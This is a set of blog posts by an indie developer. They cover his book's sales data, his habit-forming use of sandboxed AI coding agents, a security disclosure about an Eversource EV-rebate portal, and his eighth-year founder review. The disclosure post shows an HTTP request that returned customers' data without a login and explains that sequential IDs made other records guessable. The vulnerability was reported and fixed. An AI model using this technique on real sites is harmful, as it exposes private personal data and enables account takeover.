Where do Refactoring English readers come from?

I mentioned in January that I added regional pricing for my book. I wasn’t tracking data carefully, but just based on order notifications, it seemed like most of my orders were coming from countries outside the US, so I took a closer look at the data.

The first question was: is it really true that the majority of orders use regional pricing now?

It’s true. The majority of Refactoring English customers are now outside of the US. The US accounts for only 28% of orders by volume and 40% by revenue.

I was also surprised to see how many customers purchase from countries like India and Brazil, where English is not the primary language, so I checked English vs. non-English primary countries:

Surprisingly, the majority of orders for Refactoring English come from countries where English is not the primary language, though English-speaking countries are a small majority revenue-wise.

Next question: Do readers from certain countries purchase at a higher rate than others relative to total website visitors?

Wow! One out of every six readers in Kazakhstan purchases the book! I need to start advertising in Kazakhstan.

Okay, the extreme Kazakhstan result is based on a single customer, so that’s probably an outlier. And I bet my website analytics undercount visitors from Kazakhstan.

What if I focus on the top countries based on website visitors?

The US is my top country for website visitors, but a relatively low share (0.5%) purchase the book.

Indian readers purchase at the highest rate, with 2.5% of website visitors purchasing the book. Canadian readers purchase the most by revenue, with every Canadian reader giving me about $0.47 in additional book sales.

Clearly, I need to start pandering more to India and Canada in the book. I could change all the Docker examples to cricket examples and look for more opportunities to praise Shopify.

Fixing my regional discounts

After the US, most website visitors come from China (5.9% of total), but I’ve had zero sales in China. At first, I thought buying ebooks was not so popular in China, but I just checked what regional discount I was offering in China and was surprised to find it was zero. I wasn’t offering a regional discount in China at all.

I made two mistakes in my price generation scripts that excluded a huge number of countries:

I only included countries where Stripe supports the local currency.
Even with this filter, I accidentally omitted a lot of countries where Stripe supports the local currency.

The local currency thing is silly in retrospect because I can still offer a discount and just accept payment in USD. And I’m not sure how I ended up missing so many Stripe-supported countries. I even missed Kazakhstan, my new favorite country!

I was only offering regional discounts in about 39 countries. After my fixes, the list grew to 156. And within 12 hours, I got a new order from Kazakhstan.

Should I focus on non-native speakers?

With the majority of Refactoring English readers coming from countries where English is a second language, should I adjust the book to better serve non-native speakers?

A few readers have asked about English tips for non-native speakers. I’d like to tackle the subject, but I have no experience writing as a non-native speaker. I want everything in the book to be techniques I personally use rather than things I’ve heard secondhand.

My best idea is to find editing clients who are non-native speakers and look for patterns in their writing to include in the book. But right now, I’d like to get the v1 finished. The beauty of an ebook is that you can keep iterating on it and find ways to improve it even after official release.

AI-assisted coding is becoming a problem for me

I’ve been using AI for software development for about a year and a half, but there have been two major inflection points:

In February 2025, I started using an integrated AI agent in my code editor
In December 2025, I started running AI agents with full permissions (within isolated environments)

Since December, I’ve been spending more and more time doing AI-assisted coding. It’s become an ever-increasing part of my workday and non-work time.

I used to have a bad habit of checking email and social media excessively. During the past month, I’ve repeatedly had the experience of noticing that it’s 4pm, but I haven’t checked email or social media. Except it’s because I’ve fallen into an AI vortex and forgot everything else.

Every month, I think, “Is this a problem?” And in the past few weeks, I’ve had to face the fact that, yes, it’s a problem.

I generally start each workday by writing a schedule on a little notepad on my desk. I break the day into 30-minute blocks and write down how I’ll spend that block. Historically, I stick to the schedule when I’m disciplined. When I have less will power, I let fun tasks exceed their budgets by a block or two. With AI-assisted coding, I was getting to the point where I’d make a schedule and then completely ignore it and play with AI all day.

I wouldn’t say that I have an “addiction” to AI in the way people develop addictions to drugs or alcohol, but I am letting AI-assisted coding distract me from work that I recognize is more important, like finishing my book.

There are a few factors that make AI especially compelling and easy for me to get sucked into:

AI coding is exciting

I feel like I can integrate any technology, write in any programming language, install any tool. There used to be an annoying level of friction in using any new software, but now I can mostly just hand it to AI and ask it to figure out how to install it or debug it, and it just works.

In the 90s, Bill Gates published a book called Business @ the Speed of Thought. I’ve never read it, but I keep thinking back to that book title as I use AI. It’s not literally at the speed of thought, but it’s closer than anything I ever imagined. I can have an idea for a feature, give a brief explanation to an AI agent, and see the feature materialize in minutes.

AI coding has no natural limits

Even before AI, I’d often intend to spend an hour coding and instead spent three. But there were natural limits to how long I could code. A few hours of intense dev work fries my brain, and work becomes unpleasant, unproductive, or both.

With AI, you can build for hours without doing any deep thought. And even when something does require thought, AI makes it easier than ever to take on tech debt. When I’m coding myself, I don’t want to do something the ugly way because then I’m the one who has to maintain that hack. But if I’m making AI do everything, I don’t feel the pain of hacky, ugly code.

AI coding offers variable rewards

One of the things that makes gambling addictive is variable rewards. Our brains are more captivated by a system that gives you $10 at random intervals than one that delivers you money on a fixed, predictable schedule.

Whether intentional or not, my experience with AI agents varies wildly. Sometimes, I point it at a 2,000 line log file and it diagnoses the issue before I’ve even asked a question. Other times, I give it a simple task, and it spends the next 20 minutes aimlessly roaming my codebase.

Because I don’t know if the wait will be 5 seconds or 20 minutes, I sit there staring at the agent for a minute, then compulsively check it every few minutes, then start some other AI task while I’m waiting. And then I’m cycling between multiple agents and don’t even remember what they’re all doing.

One of the most maddening experiences I have with AI is when I’ve set up the AI agent to complete a long task, and I come back hours later to find the AI paused its work a few minutes after I left and asked, “Okay, the next step is to try a full build, but that will take 30-60 minutes. Would you like me to continue?” Yes! That’s why I left the task to you!

Get while the gettin’s good

It’s hard to predict exactly what effect AI will have on the software industry, but I feel confident that it will completely upend the ecosystem. We’re in the early stages of a massive shake-up.

Depending on how things turn out, there are paths forward for me as a software developer, but I also think there’s at least a 20% chance that we’re in the last year or two of “software developer” being a job that requires any special knowledge or skill. It could be like what happened to elevator operators.

Right now, there are a few factors that make AI-assisted development especially attractive for developers in my position:

AI is helpful for junior engineers, but senior engineers are the ones who can use it best
There are multiple AI companies competing heavily on price and using VC money to subsidize costs.
- I use flat-rate plans, but I consume the equivalent of about $4k/month in API costs, and even those rates are probably VC-subsidized.

The current situation with AI can’t last. The AI bubble could burst, and I’ll have to start paying the non-subsidized, metered rate. Or AI will continue to improve to the point where I have no advantage over junior engineers or even people with no software experience.

How to get my AI usage back under control

I’ve found a few techniques for getting my AI usage back to a manageable place:

Don’t start the day with an AI project
- If I start with AI and then work on my book, then I’m switching from an exciting, easy task to a hard, unsexy task.
- If I instead start the day with an hour of writing, I’ve done my hard task for the day and don’t have to move uphill.
- This is challenging because I often set up long AI tasks overnight, and I’m always curious in the morning to see how they turned out.
Reduce parallel AI-driven projects.
- Parallel work feels appealing because I can cycle between agents.
- In practice, I find it sucks me in too much because there’s a spinning plates mentality of some agent always needing attention.

Wrap up

What got done?

Published two new book chapters
Published “Eversource EV Rebate Program Exposed Massachusetts Customer Data” and complained to the MA Department of Public Utilities

Lessons learned

Don’t start the day with an AI coding project.
- It’s too distracting and too hard to switch to something harder but more important.

Goals for next month

Finish Refactoring English
- It won’t be fully polished and edited, but I want to complete all the chapters.

Refactoring English: Month 14

Thu, 12 Feb 2026 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

A new strategy for finding book readers is having positive results.
I had a breakthrough experience by letting an AI agent run in unrestricted mode.
I’ve been using AI to correct decisions I regret about my tech stack.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Publish three chapters of Refactoring English

Result: Published two new chapters
Grade: B-

I’m still having the same problem as last month where I’m getting too excited about AI experiments and letting it eat into my writing time.

Publish my 2025 annual review (year 8)

Result: Published it
Grade: A

It’s done! I’m happy with how it turned out. I’m now finished with a string of posts that I felt pressure to publish by a certain date, either because of tradition or time-sensitive subjects.

Refactoring English metrics

Metric	December 2025	January 2026	Change
Unique visitors	2,266	38,511	+36,245 (+1600%)
Revenue from pre-orders	$492.55	$1,132.75	+$640.20 (+130%)
Revenue from sponsors	$48.25	$0.00	-$48.25 (-100%)
Total Revenue	$540.80	$1,132.75	+$591.95 (+109%)

I published “The Most Popular Blogs of Hacker News in 2025” at the beginning of January, and it did far better than I expected. It gave January the book’s highest visitors and revenue since the Kickstarter last year.

Other revenue is down, as I haven’t had any editing clients, and the current owner of TinyPilot wrapped up their sponsorship of the book in 2025. I’m not planning to pursue any more professional sponsors because companies don’t seem that interested, and it’s easier to focus on readers.

Success by writing about other writers

“The Most Popular Blogs of Hacker News in 2025” is a continuation of a strategy I’ve been exploring for about six months. It boils down to: celebrate other software writers.

At a party last summer, I met a romance novelist who self-published. It was interesting hearing about her work because we had similar problems despite writing about drastically different topics.

I asked her how she found readers, and she said, “That’s the question!”

She told me that she had great results by starting a newsletter to review other romance novels, primarily by indie authors. It created a virtuous cycle where:

Readers discover and buy her book after reading her newsletter.
Other indie authors enjoy seeing reviews of their work, so they direct their own readers to her newsletter, which increases (1).
Her subscribers discover other interesting novels through her newsletter.

I love strategies where incentives align for everyone, so I started looking for ways to apply that to my book. I started writing about other bloggers and book authors that I enjoy and publishing those on my blog, and that’s worked well:

Post	Unique Readers	Hacker News score	Lobsters score
The Most Popular Blogs of Hacker News in 2025	33.8k	692	-
The Software Essays that Shaped Me	25.6k	308	85
What Makes the Intro to Crafting Interpreters so Good?	3.5k	-	137

Discovering the power of AI sandboxes

I had a revelatory experience a year ago when I first started using an AI agent. At that point, I just let it edit files while I watched, and I thought that was a scary amount of control to give an LLM.

For the past year, I’ve mostly been coding with Cline, an AI agent extension in VS Code. It sped up a lot of my workflows, but I also micromanaged it aggressively because I didn’t trust it to perform arbitrary actions on my dev machine.

A few weeks ago, my friend okay showed me his AI workflow with Codex, OpenAI’s terminal-based AI agent. okay lets Codex edit files and run commands without direct supervision. It made me realize how much time I’ve been wasting babysitting my AI agents and dealing with hangs in Cline.

okay said that he sometimes lets Codex work unsupervised for an hour or more, and I couldn’t believe it. If I gave Cline a task that would take more than 10 minutes, it would either hang the UI, go down the wrong path, or explode my costs. But Codex is flat-fee rather than pay-per-token, which means you stop thinking about costs.

I still don’t trust any AI agent to run amok on my real computer, so I set up a custom sandbox for running AI agents on my machine. I go to the directory for one of my projects and run my custom command: sb. It spins up a rootless Podman container that has no access to my local network and can only see the current working directory. It has Codex and Claude Code pre-installed and authenticated with my accounts.

With AI in a sandbox, I was fine giving it full permissions to edit files, install applications, etc.

And wow, what a difference!

Seeing an AI agent run with full permissions was another breakthrough moment for me. Previously, if I said, “Make a bar chart of my income from the last 8 years,” about 30% of the time, the AI agent would implement something partially wrong. I’d have to check the result myself and say, “No, the bars are misaligned. Fix it.” But when the AI agent has root access in its own sandbox, it can spin up a test server, view the page in a browser, and iterate independently until it completes its task.

And then I heard about Ralph Loops. I still haven’t found a good explanation, so I’m not sure if I’m doing “official” Ralph loops, but here’s what mine looks like. I run a bash script called ralph-loop that contains this simple code:

#!/usr/bin/env bash

rm ALL-DONE.txt || true

while true; do
 cat AGENT-WORKFLOW.md | codex exec

 if [[ -f "ALL-DONE.txt" ]]; then
 echo "ALL-DONE.txt detected. Exiting."
 exit 0
 fi
done

And AGENT-WORKFLOW.md looks like this:

1. Pick the top task in TODO.md and begin work on it
 - If no actions remain, write a file called ALL-DONE.txt to the current
 directory, and exit.
1. Complete the task and delete the entry from TODO.md.
 - If the task is unachievable, explain why in the commit message.
1. Commit the changes with a detailed commit message explaining what you
 changed, why you changed it, and what impact it had.

And then I just create a TODO.md file with a list of tasks. Some of the tasks involve creating follow up tasks, so the list grows and shrinks with the agent’s progress.

The Ralph Loop has allowed me to run AI agents autonomously for 10+ hours unsupervised. It’s surreal to come back to my computer in the morning and see that the AI agent completed all the work I assigned it while I was sleeping.

AI is great at porting code

From experimenting with AI over the past few months, I’ve noticed it has the most impact when:

You can objectively define the success criteria.
- e.g. “Find the cause of this crash” is objective and definable whereas “make this landing page better” is not.
The AI agent can verify success independently.
- e.g., “Visit the page in a browser and verify the background turns blue when you push the button.”
The problem is such that a human with junior-level software knowledge could solve it with a search engine, experimentation, and patience.

Here are some classes of software tasks that meet these criteria:

Refactoring code that has automated tests
Porting code from one language/technology to another while preserving behavior
Compiling a project from source, installing any necessary dependencies
Fixing code to make a test pass

Recently, I’ve been using AI to port code. I have some codebases where I wish I’d made different choices about my tech stack, but it was always too time-consuming to rewrite everything. But with AI, swapping out pieces of my stack is inexpensive and fast.

I’ve successfully ported code in several of my projects:

Converted the Zestful website from Vue/Nuxt2 to vanilla HTML with Hugo
- I got a GitHub alert saying that I had some dumb vulnerability through a transitive Node.js library I’d never heard of. I thought, “I’d love to never see these alerts again.” So I had AI rewrite the site in Hugo and plain HTML/JS/CSS.
Ported PicoShare’s CSS framework from Bulma to Bootstrap
- When I created PicoShare, I wanted to try out Bulma as a CSS framework. It was fine, but I prefer Bootstrap, so I kept using it everywhere else and always had to switch gears when I worked on PicoShare.
Converted LogPaste’s e2e tests from Cypress to Playwright
- I wrote the e2e tests before I discovered Playwright, and now I’m so used to Playwright that it’s hard to go back to Cypress.
Converted the fusion RSS reader from Svelte to vanilla HTML + Go templates
- This is just a proof of concept, as fusion isn’t my project, but I’d like to fork it to use my preferred tech stack. AI did a good job converting all the Svelte code to vanilla HTML and Go templates, but I’d want to get more test infrastructure in place if I were to port this for real.
Converted the MeshCore web app from Vue.js to Flutter
- This actually worked poorly because it’s missing the “AI can verify the result” step. I thought Flutter would emit semantic HTML for its web app output, but it actually generates a wonky Flutter-centric HTML dialect. And the MeshCore app depends heavily on an external hardware device (the LoRa radio), so I had to be in the loop a lot.

Side projects

StreamPreserve

I’ve thought about what I’d do in a situation where I was witnessing something I wanted to record on my phone, but there’s a possibility of someone stealing my phone and deleting the footage or destroying my phone entirely.

So, I made StreamPreserve, a web app that quickly moves critical video to a remote, secure server.

Stream Preserve captures important video and moves it to a remote server as quickly as possible.

Here’s how it works:

I open the StreamPreserve app and begin recording video.
The app streams a low-resolution video to the backend server, tuning the stream quality to the available bandwidth.
The app records high-resolution video to browser storage in discrete chunks.
With any spare bandwidth, the app uploads high-resolution video chunks to the server while continuing to stream.
When recording stops, the app saves the high-resolution video as a download on the local device.
When the app is open and no recording is in progress, it syncs all high-resolution footage from the device to the server.

So, the idea is if I record something and someone smashes my phone, my StreamPreserve server would still have a low-resolution copy of the video. And if someone seizes my phone to stop me from recording, the web app still uploads the high-resolution footage in the background.

I lost my enthusiasm for the idea when I realized there are a few flaws:

It’s a bad solution for recording hours of footage.
Implementing it as a web app adds complexity and the possibility of losing footage. It should be a native mobile app, but I dislike mobile development.
It’s not a great task for AI because it depends on using the browser camera API, which is annoying to fake in an AI sandbox.

Wrap up

What got done?

Published My Eighth Year as a Bootstrapped Founder
Published two new chapters of Refactoring English
Fixed a crash in the PoDoFo PDF reader that I discovered using my PDF fuzzing workflow

Lessons learned

Celebrating other software writers helps me find new readers.
AI agents are significantly more useful when they run in an environment where they have root access and can install applications and search the web.
AI is good at solving problems when you can define success criteria objectively, and the agent has a way of verifying success and self-correcting through iteration.
AI is great at porting code from one technology to another.

Goals for next month

Publish two chapters of Refactoring English.
Schedule a live event for Refactoring English readers.

Eversource EV Rebate Program Exposed Massachusetts Customer Data

Mon, 09 Feb 2026 00:00:00 +0000

I recently claimed a rebate for installing an electric vehicle (EV) charger, only to discover that Eversource, my power supplier, was publicly exposing personal information of customers who applied, including:

Full names
Vehicle registration certificates (including plate number and vehicle identification number)
Home addresses
Email addresses
Phone numbers

I’ll include the backstory that led me to the vulnerability, but if you just want to know about the security vulnerability, you can skip to that.

Why is this rebate process so complicated?

I live in Massachusetts, and the state government offers a program called Mass Save, where you pay a tax on your energy bill, and the money funds sustainable energy initiatives. For example, if you insulate your home for better energy efficiency, Mass Save will subsidize the cost.

I recently installed a charger for my electric vehicle (EV) and discovered that Mass Save reimburses $700 of my installation costs. Great!

Eversource is my electric company, so I had to claim the rebate through them. I went online to claim my rebate, expecting it to be a 10-minute process, but it took me over an hour to fill out the endless forms.

First, they wanted to know my name, address, and Eversource account number. This is redundant, as Eversource already has this information about me, but fine.

As I progressed through the form, they started asking me even more irrelevant questions like:

What kind of electric vehicle do I own?
Where did I buy it?
How much did I pay?
Where’s my vehicle registration?
Who installed my EV charger?
What is my electrician’s address?
Where, exactly, on my house is the charger?

Why do you need any of this to confirm I bought an EV charger? The process was far more complicated than what Eversource advertises as their “four-step rebate process.”

We need your charger’s MAC address

The most absurd information Eversource requested as part of the rebate was the MAC address of my EV charger. What?

The MAC address is the unique identifier for the WiFi chip on the EV charger. It’s not printed on the device, so how was I supposed to get it?

I’m a software developer and home networking nerd, so I was able to find my EV charger’s MAC address in my router’s admin dashboard, but I don’t know how they expect the average person to do that.

No, that’s wrong. Do it again

A week after submitting all of my documents, I got this email from Eversource:

Eversource claims the photos and documents I uploaded with my application are incorrect.

Apparently, I filled out the application incorrectly.

Eversource didn’t like the invoices I uploaded from my electrician because they weren’t marked “Paid in full.” It’s rare for any contractor to give me a “paid in full” invoice after payment, so I had to go pester my busy electrician to generate new invoices.

Did I miss that requirement in the form? Nope, I went back to the portal and looked at what they say about the invoice. All they said was, “Contractor’s invoice for wiring upgrade.” No mention of “Paid in full.”

The rebate form never mentions needing an invoice to be marked as paid in full.

And what was wrong with my photos? Did I forget to upload the photo of my charger?

No, the photo was there in my application. The charger was clear as day. The photo of the serial number was also plainly legible. Did they think I could photograph a MAC address?

I emailed them asking what was wrong with the photos, explaining that it was impossible for me to photograph a MAC address.

I got a response a week later. They didn’t explain why they’d rejected my other photos, but they told me to find the MAC address in my EV charger’s mobile app and take a screenshot of that. Okay…

The perverse incentives of Eversource’s EV rebate program

Something felt fishy about Eversource’s rebate program. Every step seemed designed to burden me with needless paperwork and subtle gotchas.

Is there something rotten in the state of Massachusetts? Does Eversource get to keep the money that doesn’t get distributed in rebates?

I called the Massachusetts Department of Utilities (DPU), who oversees the EV rebate program and asked what was going on. Why was Eversource making it so hard to claim a rebate?

The employee at the DPU said she’d heard complaints of Eversource rejecting photos and then accepting the exact same photos on appeal. It sounded as if Eversource was using an automated system to evaluate photos, but the secondary review was either more accurate or, more likely, a human actually looking at the photo.

So, does Eversource just pocket the rebate in those cases? “No,” the DPU rep said. Eversource doesn’t keep any money if the rebate application fails. And even on successful claims, Eversource just pays the rebate and requests reimbursement from the state.

Wait, if Eversource is just passing through the money, why are they running this program at all?

The rep at the DPU explained that Eversource wants people to buy EVs. If MA residents have EVs, they’re shifting their spending from gasoline, which Eversource doesn’t sell, to electricity, which Eversource has exclusive access to sell in many cities.

And then it started to make sense: Eversource doesn’t want customer rebate claims to fail; they just don’t care about them at all.

By the time a customer requests a rebate from Eversource, the customer has already purchased an EV. The customer is now locked in to buy extra electricity from Eversource for the next several years. At that point, Eversource has everything they want from the customer, and the customer has no leverage to get Eversource to honor their end of the deal.

I asked the Massachusetts DPU rep if they keep metrics on how many people apply for EV charging rebate vs. the number who actually complete it. Eversource only tells the DPU how many people complete the process. Eversource could be rejecting 99% of rebate applicants, and the DPU would never know.

Eversource leaking customer records

When I returned to the Eversource rebate portal to submit the information they requested, I wondered: if Eversource minimized their investment into every part of the EV rebate process, did they invest anything into security?

Unfortunately, the answer was no. It took me less than two minutes to spot a serious security vulnerability on the Eversource rebate portal.

As a basic check on the site’s security, I opened up the networking console of my web browser to inspect the raw communication between my browser and the rebate portal. My browser made dozens of requests to the rebate server, but one in particular caught my eye.

A request to the URL https://eversource.dsmcentral.com/traksmart4/public/guest/commercial/v2/application.json?projectId=123456 returned a huge amount of data that looked like this:

[
 {
 "fieldId": "FORM-60-102189-108632-4094090-2-Task_Instances_Attributes-2354-CustomerPrintedName",
 "label": "Rebate Payee Printed Name",
 "value": "Michael Lynch",
 "displayValue": null,
 "templateParameters": null,
 "attributeName": "CustomerPrintedName",
 "uniqueFieldIdSource": "",
 "inventoryOptions": null,
 "dynamicOptions": null,
 "rendering": "textField",
 "formatter": "None"
 },
...

The response was thousands of lines long. It looked like all of the data I submitted in my rebate application, minus the photos and documents I uploaded.

To get that information, my browser sent an HTTP request that looked like this (I’ve replaced my actual application ID with 123456):

POST /traksmart4/public/guest/commercial/v2/application.json?projectId=123456 HTTP/1.1
Host: eversource.dsmcentral.com
Cookie: JSESSIONID=node0f7ynpnyr35zk1c91byqpx2x5n97179.node0;Path=/traksmart4;Secure
Content-Type: application/json
Content-Length: 27

{"programId":8,"formId":60}

The thing that caught my eye was that the URL path contained the words public and guest, which typically appear in URLs that don’t require a login.

The request from my browser was authenticated. The Cookie line was telling the server my login ID. But was the server even checking my login status?

To test whether the rebate portal server was checking logins, I made the exact same request but removed the Cookie line. The rebate portal still returned all my private data. Uh oh. Eversource wasn’t checking logins.

My application ID is only six numeric digits, meaning less than 1 million possibilities. And I bet they’re sequential, so anyone who visits the rebate portal can guess my project ID and see all of the information I submitted, including my name, phone number, mailing address, and vehicle identification number (VIN).

What if a malicious user changes my application?

It’s bad enough that the Eversource rebate portal leaks my personal information, but it gets worse. Here’s what the login form looks like to access my application:

The Eversource rebate portal allows me to log in with just my email address, zip code, and a six-digit application number.

The insecure URL that dumps all of my data includes all of those fields. A malicious user can grab my application number, email address and zip code from the vulnerable URL and then log in to the rebate portal as me. They could access all of my information, including the photos or documents I uploaded.

Worse, a malicious user can change information in my rebate application, such as sending my rebate check to a different mailing address.

Reporting the vulnerability

The company that manages Eversource’s rebate portal is called Resource Innovations, and it looks like they run similar programs for a bunch of electric utilities in other cities.

I emailed Resource Innovations’ privacy@ email, explaining that I had found a serious vulnerability and wanted to connect with their security team to share details. I couldn’t find a publicly listed security mailbox at Eversource, so I emailed Christopher Leigh, Eversource’s Chief Information Security Officer.

I got a response the next day from Desiree Robinson, a VP of Information Security at Resource Innovations. She offered to meet me immediately on a video call to review the vulnerability, but the issue was so simple that we didn’t even need a call. I just emailed her an example of the HTTP request that worked without authentication. She responded the following day to say they’d fixed the issue, and I confirmed I could no longer access the vulnerable URL without a valid login token.

Christopher Leigh, Eversource’s CISO, never got back to me, but I did hear back from Karla Pickett from Eversource’s “Executive Inquiry office.” She said the vendor was “currently working to resolve this issue.”

I asked both Karla Pickett and Desiree Robinson if they could share more details about what protections they put in place to better protect customers in the future. I also asked if they offered bug bounties for people who offer them coordinated disclosure of security issues. Neither of them responded to my follow-up questions.

As I was preparing screenshots for this blog post, I noticed another URL on the same UI flow was also exposing customer data without checking authentication. This time, it only exposed my full name, home address, and application number. I reached out to Desiree Robinson again to report it. She responded seven minutes later to say she was investigating. I tried the URL the next day and saw that it was correctly checking authentication.

There’s a lot to complain about here in terms of Eversource and Resource Innovations’ engineering and security, but I will give them credit for one thing: they were extremely responsive. Except when I asked about compensation.

Reporting timeline

2025-01-27 - I report to Eversource, Resource Innovations, and the Massachusetts Department of Public Utilities that I found a vulnerability I’d like to report.
2025-01-28 - Resource Innovations responds asking for details.
2025-01-28 - I share details of the vulnerability with Resource Innovations.
2025-01-29 - Resource Innovations reports that they have remediated the issue.
2025-02-05 - I report the same issue on another rebate portal URL to Resource Innovations.
2025-02-05 - Resource Innovations reports that they will begin work to remediate the issue.
2025-02-06 - I test the vulnerable URL again and see that it is now correctly enforcing authentication.

What Massachusetts residents can do

As it happens, Eversource is in the process of requesting taxpayer money to fund a new EV rebate program.

Massachusetts residents may submit comments to the state about Eversource’s proposal. According to the DPU, comments from MA residents carry weight in these filings, so if you care about EV programs, I encourage you to submit a public comment by February 18, 2026 (see “Any person interested in commenting on this matter…”).

There will also be a public hearing on Zoom about Eversource’s proposal this Wednesday (February 11).

My wish list for the EV rebate program

For context: Eversource is not a neighborhood mom and pop electric company. They’re a Fortune 500 company, reporting $1.3 billion in profit in the last 12 months.

Based on my experience with Eversource’s current EV rebate program, they use public funds from Massachusetts residents and then shift as much work as possible onto those same residents.

The EV rebate application should be a 5-10 minute process where I submit a proof of purchase and wait for my check in the mail. Instead, it’s taken me several hours over two months, and I still don’t know if Eversource will approve my application. The vast majority of my work has been collecting documents and details that feel totally irrelevant to the program’s purpose.

The fundamental problem is that what gets measured gets managed, but nobody is measuring the time Massachusetts residents spend dealing with Eversource’s rebate program. As a result, Eversource minimizes their investment into the program, wasting residents’ time and exposing their personal information.

Here is what I’d like to see in Eversource’s new EV rebate program:

Eversource cannot require customers to create new online accounts as a requirement of the rebate.
- The rebate form must be available through the standard Eversource customer portal.
- A third-party vendor may administer the rebate portal, but the vendor must implement a secure single sign-on (SSO) flow so that customers don’t need new accounts.
- Eversource must pre-populate the rebate form with information they already have about the customer, such as their name, address, and account number.
For homeowners who claim an EV charging rebate for their primary residence, the only required documentation should be (1) the make, model, and serial number of the charger, and (2) a receipt or invoice for the charger and electrical work.
- The invoice does not need to be marked as paid.
- The resident should not need to prove ownership of an EV, as it makes no sense to install an EV charger at a loss just to get a partial rebate.
Eversource must hire, at their own expense, a Massachusetts-based web security firm to conduct an annual security audit of the rebate portal.
- Eversource must provide these audit results to the MA DPU and fix any issues rated High or Critical within six weeks.
Eversource must publish the following metrics quarterly:
- The number of customers that begin the rebate application,
- The number of customers that receive one or more claim rejections (regardless of eventual outcome),
- The number of customers who successfully claim their rebate and receive payment.
Throughout the application process, Eversource must display the contact information for the specific Massachusetts DPU office that oversees the EV rebate program.
- The contact information must be conspicuously displayed in rebate claim denials, allowing residents to appeal an incorrect rejection.
The MA DPU must have the ability to audit EV charger rebate applications.
If Eversource rejects an application and the DPU determines it was an invalid rejection, Eversource must pay the customer 150% of the requested rebate amount.
- DPU must not reimburse Eversource for claims that involved an invalid rejection, even if they were later approved.

Note: I’ve elided and changed unique identifiers in the HTTP requests shown to avoid leaking data about my own account.

My Eighth Year as a Bootstrapped Founder

Tue, 03 Feb 2026 00:00:00 +0000

Eight years ago, I quit my job as a developer at Google to create my own bootstrapped software company. Every year, I post an update about how that’s going and what my life is like as an indie founder.

Previously on…

I don’t expect you to go back and read my last seven updates. Here’s all you need to know:

2018 - 2020 - Quit my job and created several unprofitable businesses.
2020 - 2024 - Created a product called TinyPilot that let people control their computers remotely.
2024 - Sold TinyPilot, became a father.

How finances went

People are always most interested in how money works as an indie founder, so I’ll start there. Here’s what my revenue and profit looked like every month this year.

In total, I had $8.2k in profit on $16.3k in revenue. That was my total income for the year, which is obviously not enough to support a family, but my wife also works, and we have savings/investments.

My main source of revenue was my book. I’m writing a book to teach developers to improve their writing. I did a Kickstarter for it in March, which gave me $6k in pre-sales. As I worked on the book, I offered paid early access. In total, 422 readers purchased early access, for which I’m grateful. I also have an old business that makes $100-200/month without me touching it.

My main expenses were computer hardware ($2.1k) and LLMs ($1.9k). I don’t use AI to write, but I use it for a lot of the accessory tasks like fixing rendering/layout issues and improving the website. I also use it for my open-source projects.

Here’s how 2025 compared to previous years:

The years I was running TinyPilot dominate the chart. Still, 2025 was my fourth most profitable year as a founder.

My goal for the year was $50k in profit, so I fell quite short (more on that later).

So you’re still taking a break?

When I tell other software developers that I’m writing a book, they usually say something like, “Oh, great!”

Then, they pause, a little confused. “To give you time to freelance?” And I have to say, “No, I’m just writing a book. That’s my whole job.”

When I tell friends and family I’m working on a book, they innocently ask, “Oh, so you’re still on paternity leave?”

No! I’m writing a book. It’s a real job!

But if I’m being honest, I understand their confusion. How can writing a book be my job? I’m not a novelist.

When I started the book, I thought I’d be done in six months. I typically write almost a book’s worth of blog posts per year, and that’s just from an hour of writing per day. If I focus on a book, I should be done in 1/8th the time!

It turns out that even when all I have to do is write, I can still only write for about an hour per day. After that, I feel drained, and my writing degrades rapidly.

I also can’t just write a book. I also need to find people to read the book, so I’ve been writing blog posts and sharing chapter excerpts. I normally write 5-10 blog posts per year, but I ended up writing far more in the past year than I ever have before:

13 blog posts (8 on my personal blog and 5 on my book’s blog)
12 notes (shorter, less polished blog posts)
12 monthly retrospectives
150 pages of my book, including seven chapters I adapted into free excerpts

I also started editing blog posts for other developers. That helped me discover other developers’ writing pain points and what advice they found effective. I worked with seven clients, including Tyler Cipriani on a post that reached #1 on Hacker News.

And then there’s just a bunch of administrative tasks around writing and selling a book like setting up mailing lists, dealing with Stripe, debugging PDF/epub rendering issues, etc.

Finding alignment with my business

This has been my favorite year of being a founder since I went off on my own eight years ago. There are a few factors, but the biggest is that I found a business that aligns with me.

When I first started as a founder, I didn’t think the particulars of a business mattered. I just pursued any opportunity I saw, even if it was a market I didn’t care about. I’d still get to write software, so wouldn’t that make me happy?

It turns out bootstrapped founders don’t spend much time writing code. Especially at the beginning, I have to find customers and talk to them, which is hard when I don’t particularly care about the market beyond the technical challenge of building something.

Over several years, I found that there are five criteria that determine how much I enjoy a business:

I enjoy the domain and relate to the customers
It leverages my skills
It earns money
It facilitates work-life balance
It aligns interests between me and my users

As a concrete example, one of my first businesses was called Is It Keto. It was a simple website that explained whether certain foods fit the keto diet.

One of my first businesses, Is It Keto, which told readers which foods fit the keto diet.

Here’s how Is It Keto scored on my rubric:

Is It Keto

Pillar	Score	Notes
Enjoyment	❌	I didn’t care about the keto diet.
Competence	❌	I wasn’t good at building websites, finding users, or convincing anyone to buy things.
Profitability	❌	The site was not profitable.
Work-life balance	✅	The site was easy to keep online 24/7. Even if there had been an outage, the stakes were so low that I’d only be losing a few dollars of ad revenue per day.
Founder-user alignment	❌	I only made money if users clicked ads or ordered keto products online. They probably would have been better off buying real food at the grocery store.

Now, let me compare Is It Keto to writing my book:

Refactoring English (my book)

Pillar	Score	Notes
Enjoyment	✅	I’m passionate about clear writing and enjoy teaching techniques to other developers.
Competence	✅	I feel especially qualified to write about the topic, as I’ve been blogging for several years, and writing played a key role at every stage in my career.
Profitability	⚠️	I’ve made $11.8k from pre-sales, which feels good for a first-time author but is not yet profitable enough to be sustainable.
Work-life balance	✅	It’s hard to beat an ebook in terms of work-life balance. I can comfortably disappear for weeks without negatively impacting anyone. I’ve never been paged at 2 AM because my servers are down and users urgently need to read my book.
Founder-user alignment	✅	My incentives are aligned with my readers because I only make money if they enjoy the book, and the book only becomes popular if readers recommend it to friends.

The book doesn’t check all my boxes perfectly, but it aligns better with my five criteria than any business I’ve created before.

Do I still love it?

At the end of my first year as a founder, I wrote:

As someone who has always valued independence, I love being a solo developer. It makes a world of difference to wake up whenever I want and make my own choices about how to spend my entire day.

…

